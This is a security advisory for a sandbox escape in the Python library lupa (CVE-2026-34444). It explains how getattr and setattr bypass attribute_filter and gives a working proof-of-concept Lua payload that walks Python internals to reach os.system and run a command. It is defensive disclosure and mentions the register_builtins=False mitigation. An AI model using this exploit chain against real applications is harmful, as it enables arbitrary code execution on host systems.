GitHub Advisoryadvisory · PyPI

GHSA-69v7-xpr6-6gjm Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

HIGH Published 2026-04-07 Modified 2026-05-06 Official page ↗
Aliases
CVE-2026-34444
Ecosystem
PyPI
Packages
lupa
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-284, CWE-693
Reviewed
2026-04-07

Affected packages

• PyPI lupa: <= 2.6 (no fix yet)

Description

Summary The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua. However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution. Details The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties. In practice, it only applies to direct attribute access: • `obj.attr` → filtered • `getattr(obj, "attr")` → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code. An attacker can use getattr to- • Access `__class__` • Walk the `__mro__` chain • Call `__subclasses__()` • Iterate over available classes • Find a function that exposes `__globals__` • Retrieve something like `os.system` At that point, arbitrary command execution becomes straightforward. This effectively breaks the security boundary that `attribute_filter` is expected to enforce. PoC The following example shows how the filter can be bypassed to execute `os.system`:' ``` import lupa from lupa import LuaRuntime def protected_attribute_filter(obj, attr_name, is_setting): if isinstance(attr_name, str) and attr_name.startswith('_'): raise AttributeError(f"Access to '{attr_name}' is forbidden") return attr_name lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter) class UserProfile: def __init__(self, name): self.name = name lua.globals().user = UserProfile("test") lua.execute(""" local py = python.builtins local getattr = py.getattr local setattr = py.setattr local cls = getattr(user, "__class__") local _, obj_cls = getattr(cls, "__mro__") local subs = getattr(obj_cls, "__subclasses__")() for _, c in ipairs(subs) do if tostring(c):find("os._wrap_close") then local system = getattr(getattr(c, "__init__"), "__globals__")["system"] setattr(user, "run", system) user.run("id") end end """) ``` Impact An attacker who can execute Lua code can: • Bypass the `attribute_filter` • Access Python internals • Traverse the object graph • Reach execution primitives This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.

Related

Alias · CVE (1)

  • CVE-2026-34444 Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. vulnerability

Weakness · CWE (2)

  • CWE-284 Improper Access Control weakness
  • CWE-693 Protection Mechanism Failure weakness

References